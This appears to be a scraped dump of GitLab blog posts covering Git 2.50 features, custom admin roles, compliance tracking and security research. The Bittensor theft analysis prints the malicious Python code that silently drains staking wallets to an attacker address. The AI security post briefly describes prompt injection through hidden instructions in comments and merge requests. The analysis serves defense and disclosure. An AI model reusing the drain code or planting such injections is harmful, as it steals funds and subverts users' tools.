5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n\n# The \"bar\" reference was created even though the update to \"foo\" was\nrejected.\n\n$ git switch bar\n\nSwitched to branch 'bar'\n\n```\n\n\nThis time, with the `--batch-updates` option, the reference creation\nsucceeded\n\neven though the update didn't work. This patch series lays the groundwork\nfor\n\nfuture performance improvements in `git-fetch(1)` and `git-receive-pack(1)`\n\nwhen references are updated in bulk. For more information, check the\n\n[mailing-list\nthread](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)\n\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n\n## New filter option for git-cat-file(1)\n\n\nWith [`git-cat-file(1)`](https://git-scm.com/docs/git-cat-file), it is\npossible\n\nto print info for all objects contained in the repository via the\n\n`--batch–all-objects` option. For example:\n\n\n```shell\n\n# Setup simple repository.\n\n$ git init\n\n$ echo foo >foo\n\n$ git add foo\n\n$ git commit -m init\n\n\n# Create an unreachable object.\n\n$ git commit --amend --no-edit\n\n\n# Use git-cat-file(1) to print info about all objects including unreachable\nobjects.\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\n\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nIn some situations, a user might want to search through all objects in the\n\nrepository, but only output a subset based on some specified attribute. For\n\nexample, if we wanted to see only the objects that are commits, we could use\n\n`grep(1)`:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)' | grep ^commit\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nWhile this works, one downside with filtering the output is that\n\n`git-cat-file(1)` still has to traverse all the objects in the repository,\neven\n\nthe ones that the user is not interested in. This can be rather inefficient.\n\n\nWith this release, `git-cat-file(1)` now has the `--filter` option, which\nonly\n\nshows objects matching the specified criteria. This is similar to the option\nof\n\nthe same name for `git-rev-list(1)`, but with only a subset of the filters\n\nsupported. The supported filters are `blob:none`, `blob:limit=`, as well as\n\n`object:type=`. Similar to the previous example, objects can be filtered by\n\ntype with Git directly:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)' --filter='object:type=commit'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nNot only is it convenient for Git to handle the processing, for large\n\nrepositories with many objects, it is also potentially more efficient. If a\n\nrepository has bitmap indices, it becomes possible for Git to efficiently\n\nlookup objects of a specific type, and thus avoid scanning through the\n\npackfile, which leads to a significant speedup. Benchmarks conducted on the\n\n[Chromium repository](https://github.com/chromium/chromium.git) show\n\nsignificant improvements:\n\n\n```text\n\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --no-filter\n   Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s]\n   Range (min … max):   73.936 s … 89.690 s    10 runs\n\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=tag\n   Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms]\n   Range (min … max):    18.2 ms …  23.6 ms    127 runs\n\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=commit\n   Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s]\n   Range (min … max):    1.541 s …  1.566 s    10 runs\n\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=tree\n   Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s]\n   Range (min … max):   11.114 s … 11.245 s    10 runs\n\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=blob\n   Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s]\n   Range (min … max):   62.836 s … 73.618 s    10 runs\n\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=blob:none\n   Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s]\n   Range (min … max):   12.960 s … 13.199 s    10 runs\n\nSummary\n   git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag\n    74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit\n   538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree\n   627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none\n  3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob\n  3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n```\n\n\nInterestingly, these results indicate that the computation time now scales\nwith\n\nthe number of objects for a given type instead of the number of total\nobjects\n\nin the packfile. The original mailing-list thread can be found\n\n[here](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/).\n\n\n_This project was led by [Patrick\nSteinhardt](https://gitlab.com/pks-gitlab)._\n\n\n## Improved performance when generating bundles\n\n\nGit provides a means to generate an archive of a repository which contains a\n\nspecified set of references and accompanying reachable objects via the\n\n[`git-bundle(1)`](https://git-scm.com/docs/git-bundle) command. This\noperation\n\nis used by GitLab to generate repository backups and also as part of the\n\n[bundle-URI](https://git-scm.com/docs/bundle-uri) mechanism.\n\n\nFor large repositories containing millions of references, this operation can\n\ntake hours or even days. For example, with the main GitLab repository\n\n([gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)), backup times\nwere\n\naround 48 hours. Investigation revealed there was a performance bottleneck\ndue\n\nto how Git was performing a check to avoid duplicated references being\nincluded\n\nin the bundle. The implementation used a nested `for` loop to iterate and\n\ncompare all listed references, leading to O(N^2) time complexity. This\nscales\n\nvery poorly as the number of references in a repository increases.\n\n\nIn this release, this issue was addressed by replacing the nested loops with\na\n\nmap data structure leading to a significant speedup. The following benchmark\n\nthe performance improvement for creating a bundle with a repository\ncontaining\n\n100,000 references:\n\n\n```text\n\nBenchmark 1: bundle (refcount = 100000, revision = master)\n  Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s]\n  Range (min … max):   14.237 s … 14.920 s    10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n  Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s]\n  Range (min … max):    2.364 s …  2.425 s    10 runs\n\nSummary\n  bundle (refcount = 100000, revision = HEAD) ran\n    6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n```\n\n\nTo learn more, check out our blog post\n\n[How we decreased GitLab repo backup times from 48 hours to 41\nminutes](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/).\n\nYou can also find the original mailing list thread\n\n[here](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/).\n\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n\n## Better bundle URI unbundling\n\n\nThrough the [bundle URI](https://git-scm.com/docs/bundle-uri) mechanism in\nGit,\n\nlocations to fetch bundles from can be provided to clients with the goal to\n\nhelp speed up clones and fetches. When a client downloads a bundle,\nreferences\n\nunder `refs/heads/*` are copied from the bundle into the repository along\nwith\n\ntheir accompanying objects. A bundle might contain additional references\n\noutside of `refs/heads/*` such as `refs/tags/*`, which are simply ignored\nwhen\n\nusing bundle URI on clone.\n\n\nIn Git 2.50, this restriction is lifted, and all references\n\nmatching `refs/*` contained in the downloaded bundle are copied.\n\n[Scott Chacon](https://github.com/schacon), who contributed this\nfunctionality,\n\ndemonstrates the difference when cloning\n\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss):\n\n\n```shell\n\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle\nhttps://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\n\nCloning into 'gl2.49'...\n\nremote: Enumerating objects: 1092703, done.\n\nremote: Counting objects: 100% (973405/973405), done.\n\nremote: Compressing objects: 100% (385827/385827), done.\n\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276),\npack-reused 0 (from 0)\n\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\n\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\n\nChecking objects: 100% (4194304/4194304), done.\n\nChecking connectivity: 959668, done.\n\nUpdating files: 100% (59972/59972), done.\n\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle\nhttps://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\n\nCloning into 'gl-2.50'...\n\nremote: Enumerating objects: 65538, done.\n\nremote: Counting objects: 100% (56054/56054), done.\n\nremote: Compressing objects: 100% (28950/28950), done.\n\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0\n(from 0)\n\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\n\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\n\nUpdating files: 100% (59972/59972), done.\n\n```\n\n\nComparing these results, we see that Git 2.50 fetches 43,887 objects\n\n(40.42 MiB) after the bundle was extracted whereas Git 2.49 fetches a\n\ntotal of 959,773 objects (366.94 MiB). Git 2.50 fetches roughly 95% fewer\n\nobjects and 90% less data, which benefits both the client and the server.\nThe\n\nserver needs to process a lot less data to the client and the client needs\nto\n\ndownload and extract less data. In the example provided by Scott this led to\na\n\nspeedup of 25%.\n\n\nTo learn more, check out the corresponding\n\n[mailing-list\nthread](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/).\n\n\n_This patch series was contributed by [Scott\nChacon](https://github.com/schacon)._\n\n\n## Read more\n\n\nThis article highlighted just a few of the contributions made by GitLab and\n\nthe wider Git community for this latest release. You can learn about these\nfrom\n\nthe [official release\nannouncement](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/) of\nthe Git project. Also, check\n\nout our [previous Git release blog\nposts](https://about.gitlab.com/blog/tags/git/)\n\nto see other past highlights of contributions from GitLab team members.\n","2025-06-16",[1072,847,269],{"featured":91,"template":798,"slug":1098},"what-s-new-in-git-2-50-0",{"category":90,"slug":766,"posts":1100},[1101,1114,1125],{"content":1102,"config":1111},{"title":1103,"description":1104,"authors":1105,"heroImage":1106,"body":1107,"date":1108,"category":766,"tags":1109},"GitLab Patch Release: 18.3.1, 18.2.5, 18.1.5","Learn more about this patch for GitLab Community Edition and Enterprise Edition.",[881],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg","This is the post for [GitLab Patch Release: 18.3.1, 18.2.5, 18.1.5](https://about.gitlab.com/releases/2025/08/27/patch-release-gitlab-18-3-1-released/).","2025-08-27",[1110],"patch releases",{"featured":6,"template":798,"externalUrl":1112,"slug":1113},"https://about.gitlab.com/releases/2025/08/27/patch-release-gitlab-18-3-1-released/","gitlab-patch-release-18-3-1-18-2-5-18-1-5",{"config":1115,"content":1117},{"slug":1116,"featured":6,"template":798},"custom-admin-roles-now-ga",{"title":1118,"description":1119,"authors":1120,"heroImage":1121,"date":1122,"category":766,"tags":1123,"body":1124},"Custom admin roles are now GA","GitLab now supports granular permissions in the Admin area, reducing the need for full-privileged administrators.",[1000],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756122536/akivvcnafog9c4dhhzkp.png","2025-08-25",[766,810],"GitLab is introducing granular permissions for the Admin area in GitLab Self-Managed and GitLab Dedicated instances. These custom admin roles allow organizations to implement the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) for their instances while maintaining operational efficiency. Similar to custom roles for groups and projects, custom admin roles provide fine-grained permissions to control access to the Admin area.\n\nThese granular admin permissions allow organizations to create purpose-built administrative roles instead of granting complete administrator access to users. Potential use cases include:\n\n- **Platform Team:** Access to runner management, instance monitoring, and performance metrics\n- **Support Team:** Access to user management and troubleshooting workflows\n- **Leadership Team:** Access to dashboards, usage statistics, and licensing\n\n![Custom admin role](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121189/xnnoyowwutlbxu9unho5.png)\n\n## Features\n- **Granular permissions:** Custom permissions let you build a role that fits your needs.\n- **Instance-level management:** Custom admin roles are created and managed centrally.\n- **LDAP integration:** Support for mapping large user sets to roles through directory servers.\n- **Audit integration:** Works with existing [Admin mode](https://docs.gitlab.com/administration/settings/sign_in_restrictions/#admin-mode) and audit events.\n\n![Custom admin role](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121190/wedoc6gi4upivvjezyeu.png)\n\n## Mission: Improve software supply chain security\nThis feature represents a critical step in GitLab's broader mission to improve your software supply chain security. As part of this mission, GitLab has also added custom roles for projects and groups and [granular permissions for CI/CD job tokens](https://docs.gitlab.com/ci/jobs/fine_grained_permissions/).\n\nFor more information on custom admin roles, see [custom roles](https://docs.gitlab.com/user/custom_roles/). Additional permissions are planned for future releases. To share feedback, see the [custom roles issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509376).\n",{"content":1126,"config":1134},{"title":1127,"description":1128,"authors":1129,"heroImage":1130,"body":1131,"category":766,"tags":1132,"date":791},"GitLab 18.3 released","Latest version of GitLab includes Duo Agent Platform in Visual Studio (Beta) and embedded views.",[881],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1755782394/swplm3yztdrbrlyztaro.png","This is the release post for [GitLab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/).",[1133],"releases",{"featured":6,"template":798,"externalUrl":1135,"slug":1136},"https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/","gitlab-18-3-released",{"category":125,"slug":776,"posts":1138},[1139,1151,1163],{"content":1140,"config":1149},{"title":1141,"authors":1142,"description":1144,"date":1145,"body":1146,"category":776,"tags":1147,"heroImage":1148},"GitLab uncovers Bittensor theft campaign via PyPI",[1143],"Michael Henriksen","GitLab's Vulnerability Research team identified a supply chain attack campaign using typosquatted PyPI packages to steal cryptocurrency from Bittensor wallets by hijacking staking operations.","2025-08-06","GitLab's Vulnerability Research team has identified a sophisticated cryptocurrency theft campaign targeting the Bittensor ecosystem through typosquatted Python packages on PyPI.\n\nOur investigation began when GitLab's automated package monitoring system flagged suspicious activity related to popular Bittensor packages. We discovered multiple typosquatted variations of legitimate Bittensor packages, each designed to steal cryptocurrency from unsuspecting developers and users.\n\nThe identified malicious packages were all published within a 25-minute window on August 6, 2025:\n\n- `bitensor@9.9.4` (02:52 UTC)\n- `bittenso-cli@9.9.4` (02:59 UTC)\n- `qbittensor@9.9.4` (03:02 UTC)\n- `bitensor@9.9.5` (03:15 UTC)\n- `bittenso@9.9.5` (03:16 UTC)\n\nAll packages were designed to mimic the legitimate `bittensor` and `bittensor-cli` packages, which are core components of the Bittensor decentralized AI network.\n\n## Technical analysis: How the theft occurs\n\nOur analysis revealed a carefully crafted attack vector where the attackers modified legitimate staking functionality to steal funds. The malicious packages contain a hijacked version of the `stake_extrinsic` function in `bittensor_cli/src/commands/stake/add.py`. \n\nWhere users expect a normal staking operation, the attackers inserted malicious code at line 275 that silently diverts all funds to their wallet:\n\n```python\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n```\n\nThis malicious injection completely subverts the staking process:\n\n- **Silent execution:** Uses `prompt=False` to bypass user confirmation\n- **Complete wallet drain:** Sets `transfer_all=True` to steal all available funds, not just the staking amount\n- **Hardcoded destination:** Routes all funds to the attacker's wallet address\n- **Hidden in plain sight:** Executes during what appears to be a normal staking operation\n\nThe attack is particularly insidious as users believe they're staking tokens to earn rewards, but instead, the modified function empties their entire wallet.\n\n### Why target staking functionality?\n\nThe attackers appear to have specifically targeted staking operations for calculated reasons. In blockchain networks like Bittensor, **staking** is when users lock up their cryptocurrency tokens to support network operations, earning rewards in return, similar to earning interest on a deposit.\n\nThis makes staking an ideal attack vector:\n\n1. **High-value targets:** Users who stake typically hold substantial cryptocurrency holdings, making them lucrative victims.\n2. **Required wallet access:** Staking operations require users to unlock their wallets and provide authentication—giving the malicious code exactly what it needs to drain funds.\n3. **Expected network activity:** Since staking naturally involves blockchain transactions, the additional malicious transfer doesn't immediately raise suspicions.\n4. **Routine operations:** Experienced users stake regularly, creating familiarity that breeds complacency and reduces scrutiny.\n5. **Delayed detection:** Users might initially assume any balance changes are normal staking fees or temporary holds, delaying discovery of the theft.\n\nBy hiding malicious code within legitimate-looking staking functionality, the attackers exploited both the technical requirements and user psychology of routine blockchain operations.\n\n## Following the money\n\nGitLab's Vulnerability Research team traced the cryptocurrency flows to understand the full scope of this operation. The primary destination wallet `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` served as a central collection point before funds were distributed through a network of intermediary wallets.\n\n### The money laundering network\n\nOur analysis revealed a multi-hop laundering scheme:\n\n1. **Primary collection:** Stolen funds initially arrive at `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR`\n2. **Distribution network:** Funds are quickly moved to intermediate wallets including:\n   - `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   - `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   - `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   - `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Final consolidation:** All paths eventually converge at `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n4. **Cash-out endpoint:** Final destination appears to be `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ`\n\n## The typosquatting strategy\n\nThe attackers employed a typosquatting strategy that exploits common typing errors and package naming conventions:\n\n- **Missing characters:** `bitensor` instead of `bittensor` (missing 't')\n- **Truncation:** `bittenso` instead of `bittensor` (missing final 'r')\n- **Version mimicking:** All packages used version numbers (`9.9.4`, `9.9.5`) that closely match legitimate package versions\n\nThis approach maximizes the chance of installation through developer typos during `pip install` commands and copy-paste errors from documentation.\n\n## Looking ahead: The future of supply chain security\n\nGitLab continues to invest in proactive security research to identify and neutralize threats before they impact our community. Our automated detection system works around the clock to protect the software supply chain that powers modern development.\n\nThe swift detection and analysis of this attack demonstrate the value of proactive security measures in combating sophisticated threats. By sharing our findings, we aim to strengthen the entire ecosystem's resilience against future attacks.\n\n## Indicators of compromise\n\n| IOC | Description |\n| :---- | :---- |\n| `pkg:pypi/bittenso@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.5` | Malicious PyPI package |\n| `pkg:pypi/bitensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/qbittensor@9.9.4` | Malicious PyPI package |\n| `pkg:pypi/bittenso-cli@9.9.4` | Malicious PyPI package |\n| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Bittensor (TAO) wallet address for receiving stolen funds |\n\n## Timeline\n\n| Date & Time | Action |\n| :---- | :---- |\n| **2025-08-06T06:33** | Initial analysis of suspicious packages reported by automated monitoring system |\n| **2025-08-06T09:42** | Reported `bittenso@9.9.5` to PyPi.org |\n| **2025-08-06T09:46** | Reported `bitensor@9.9.5` to PyPi.org |\n| **2025-08-06T09:47** | Reported `bitensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:49** | Reported `qbittensor@9.9.4` to PyPi.org |\n| **2025-08-06T09:51** | Reported `bittenso-cli@9.9.4` to PyPi.org |\n| **2025-08-06T15:26** | PyPi.org removed `bittenso@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org removed `bitensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `qbittensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org removed `bittenso-cli@9.9.4` |\n",[776],"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg",{"featured":6,"template":798,"slug":1150},"gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"content":1152,"config":1161},{"title":1153,"description":1154,"authors":1155,"heroImage":1157,"date":1158,"body":1159,"category":776,"tags":1160},"Securing AI together: GitLab’s partnership with security researchers","Learn how GitLab collaborates with security researchers to identify and defend against emerging threats.",[1156],"Kymberlee Price","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667636/Blog/Hero%20Images/Dedicated_Screengrab_1800x945.png","2025-07-31","As GitLab's Senior Director of Application Security, my primary mission is straightforward: to protect our customers from harm caused by software vulnerabilities. In an era where AI is transforming how we build software, this mission has taken on new dimensions and urgency. Here’s how we're working with the global security research community to make [GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/) secure against emerging threats.\n\n## The AI security challenge\n\nAI-powered platforms create incredible productivity for engineers. However, the ability to create code also brings a crucial need for robust security. For example, prompt injection attacks embed hidden instructions in comments, source code, and merge request descriptions. These can guide AI into making attacker-controlled recommendations to the user or, in some cases, autonomously taking unintended action. Addressing these risks helps ensure the responsible and secure evolution of AI in development.\n\nGitLab’s security and engineering teams work diligently to provide customers with a safe and secure platform. Partnerships with external security researchers, such as [Persistent Security](https://www.persistent-security.net/post/part-i-prompt-injection-exploiting-llm-instruction-confusion), are an integral part of that approach.\n\n## Our commitment to transparent collaboration\n\n[GitLab's AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) details how we uphold ethics and transparency in our development and use of AI-powered features. This commitment extends to our collaboration with security researchers.\n\nWhen Persistent Security reached out to GitLab to discuss a complex prompt injection issue with industry-wide impact, they were quickly connected to the GitLab Product Security Response Team to investigate if any of our products were affected. \n\nThrough this dialogue, we were able to quickly identify and implement mitigations that were deployed prior to the public beta of GitLab Duo Agent Platform in July 2025. This rapid response exemplifies our approach to working with security researchers and collaborating transparently throughout the process to coordinate remediation and disclosure to protect customers. \n\n## Why external research matters for AI security\n\nAI systems present unique security challenges that require diverse perspectives and specialized expertise. \n\nExternal researchers are essential for:\n\n* **Rapid Threat Evolution:** AI security threats evolve quickly. The research community helps us stay ahead of emerging attack patterns, from prompt injection techniques to novel ways of manipulating AI responses.\n* **Real-World Testing:** External researchers test our systems in ways that mirror actual attacker behavior, providing invaluable insights into how our defenses perform under pressure.\n* **Diverse Expertise:** External security researchers often demonstrate exceptional creativity, with reports standing out for innovative approaches to identifying complex vulnerabilities. This diversity of thinking strengthens our overall security posture.\n\n## Our ongoing commitment\n\nThe security research community remains a crucial partner in our mission to protect customers. We're committed to:\n\n* Providing clear guidance to researchers about our AI systems and security boundaries  \n* Maintaining rapid response times for security disclosures  \n* Sharing our learnings with the broader community through public disclosure and research\n\nThe future of AI security depends on collaboration between organizations like GitLab and the security research community. By working together, we can ensure that AI remains a force for productivity and innovation while protecting our customers and users from harm.\n\nTo our security research partners: thank you for your partnership, making us stronger, more secure, and better prepared for the challenges ahead. I’ll be at Black Hat August 6-7, 2025, and look forward to connecting with AI security researchers there. You can reach me through the Black Hat mobile app or on [LinkedIn](https://www.linkedin.com/in/kymberleeprice/).   \n\n> Do you want to play a role in keeping GitLab secure? Visit our [HackerOne program](https://hackerone.com/gitlab) to get started, or learn more about our AI security practices at our [AI Transparency Center](https://about.gitlab.com/ai-transparency-center/).",[776],{"featured":6,"template":798,"slug":1162},"securing-ai-together-gitlabs-partnership-with-security-researchers",{"content":1164,"config":1174},{"title":1165,"description":1166,"authors":1167,"heroImage":1169,"date":1170,"body":1171,"category":776,"tags":1172},"How to transform compliance observation management with GitLab","Learn how GitLab's Security Compliance team improved observation management using the DevSecOps platform, enhancing visibility, collaboration, and accountability.",[1168],"Madeline Lake","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-07-24","An observation is a compliance finding or deficiency identified during control monitoring. This is essentially a gap between what your security controls should be doing and what they're actually doing. Observations can stem from design deficiencies where the control isn't structured properly to meet requirements, operating effectiveness issues where the control exists but isn't working as intended, or evidence gaps where required documentation or proof of control execution is missing.\n\nThese observations emerge from our quarterly control monitoring process, where we systematically assess the effectiveness of security controls supporting our certifications (SOC 2, ISO 27001, etc.). Observations can also be the output of our external audits from third-party assessors. Observations aren't just compliance checkboxes, they represent real security risks that need prompt, visible remediation.\n\nObservation management is the process by which we manage these observations from identification through remediation to closure. In this article, you'll learn how the GitLab Security Team uses the DevSecOps platform to manage and remediate observations, and the efficiencies we've realized from doing so.\n\n## The GitLab observation lifecycle: From identification to resolution\n\nThe lifecycle of an observation encompasses the entire process from initial identification by compliance engineers through to completed remediation by remediation owners. This lifecycle enables real-time transparent status reporting and that is easier for all stakeholders to understand and follow.\n\nHere are the stages of the observation lifecycle:\n\n**1. Identification**\n\n* Compliance engineers identify potential observations during quarterly monitoring.  \n* Initial validation occurs to confirm the finding represents a genuine control gap.  \n* Detailed documentation begins immediately in a GitLab issue.  \n* The root cause of the observation is determined and a remediation plan to address the root cause is established.\n\n**2. Validation**\n\n* Issue is assigned to the appropriate remediation owner (usually a team lead or department manager).  \n* Remediation owner reviews and confirms they understand and accept ownership.  \n* The remediation plan is reviewed, prioritized, and updated collaboratively as needed.\n\n**3. In-progress**\n\n* Active remediation work begins with clear milestones and deadlines.  \n* Regular updates are provided through GitLab comments and status changes.  \n* Collaboration happens transparently where all stakeholders can see progress.\n\n**4. Remediated**\n\n* Remediation owner marks work complete and provides evidence.  \n* Issue transitions to compliance review for validation.\n\n**5. Resolution**\n\n* Compliance engineer verifies exit criteria are met.  \n* The issue is closed with final documentation.  \n* Lessons learned are captured for future prevention.\n\n**Alternative paths** handle blocked work, risk acceptance decisions, and stalled remediation efforts with appropriate escalation workflows.\n![Example of observation lifecycle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png)\n\u003Ccenter>\u003Ci>Example of observation lifecycle\u003C/i>\u003C/center>\n\n## The power of transparency in GitLab\n\nEffective observation management shouldn't require detective work to determine basic information like ownership, status, or priority. Yet most organizations find themselves exactly in this scenario: compliance teams chasing updates, operational teams unaware of their responsibilities, and leadership lacking visibility into real risk exposure until audit season arrives.\n\nThe Security Compliance team at GitLab faced these exact problems. Our team initially used a dedicated GRC tool as the single source of truth for outstanding observations, but the lack of visibility to key stakeholders meant minimal remediation actually occurred. The team found themselves spending their time on administrative work, rather than guiding remediation efforts. \n\nOur solution was to move observation management directly into GitLab issues within a dedicated project. This approach transforms observations from compliance issues into visible, actionable work items that integrate naturally into development and operations workflows. Every stakeholder can see what needs attention, collaborate on remediation plans, and track progress in real time, creating the transparency and accountability that traditional tools simply can't deliver.\n\n### Smart organization through labels and issue boards\n\nGitLab allows teams to categorize observation issues into multiple organizational views. The Security Compliance team uses the following to categorize observations:\n\n* **Workflow:** `~workflow::identified`, `~workflow::validated`, `~workflow::in progress`, `~workflow::remediated`  \n* **Department:** `~dept::engineering`, `~dept::security`, `~dept::product`   \n* **Risk Severity:** `~risk::critical`, `~risk::high`, `~risk::medium`, `~risk::low`  \n* **System:** `~system::gitlab`, `~system::gcp`, `~system::hr-systems`   \n* **Program:** `~program::soc2`, `~program::iso`, `~program::fedramp` , `~program::pci`\n\nThese labels are then leveraged to create issue boards:\n\n* **Workflow boards** visualize the observation lifecycle stages.  \n* **Department boards** show each team's remediation workload.  \n* **Risk-based boards** prioritize critical findings requiring immediate attention.  \n* **System boards** visualize observations by system.  \n* **Program boards** track certification-specific observation resolution.\n\nLabels enable powerful filtering and reporting while supporting automated workflows through our triage bot policies. Please refer to the automation section for more details on our automation strategy.\n\n## Automation: Working smarter, not harder\n\nManaging dozens of observations across multiple certifications requires smart automation. The Security Compliance team utilizes the [triage bot](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage), which is an open source project hosted in GitLab. The triage bot gem aims to enable project managers to automatically triage issues in GitLab projects or groups based on defined policies. This helps manage issue hygiene so stakeholders can focus their efforts on remediation. \n\nWithin the observation management project, we have policies written to ensure there is an assignee on each issue, each issue has required labels, issues are updated every 30 days, and blocked and stalled issues are nudged every 90 days. In addition, a weekly summary issue is created to summarize all the issues out of compliance based on our defined policies. This enables team members to monitor issues efficiently and spend less time on administrative tasks.\n\n## Measuring success: Key metrics and reporting\n\nGitLab's raw issue data can be leveraged into actionable intelligence. Organizations can extract meaningful insights from issue creation date, closed date, last updated date, and labels. The following metrics provide a comprehensive view of your observation management effectiveness:\n\n**Resolution Efficiency Analysis:** Average time from identification to resolution by department and severity\n\nTrack issue creation versus close dates across departments and severity levels to identify bottlenecks and measure performance against SLAs. This reveals which teams excel at rapid response and which may need additional resources or process improvements.\n\n**Real-Time Risk Assessment:** Current risk profile based on open critical and high risk 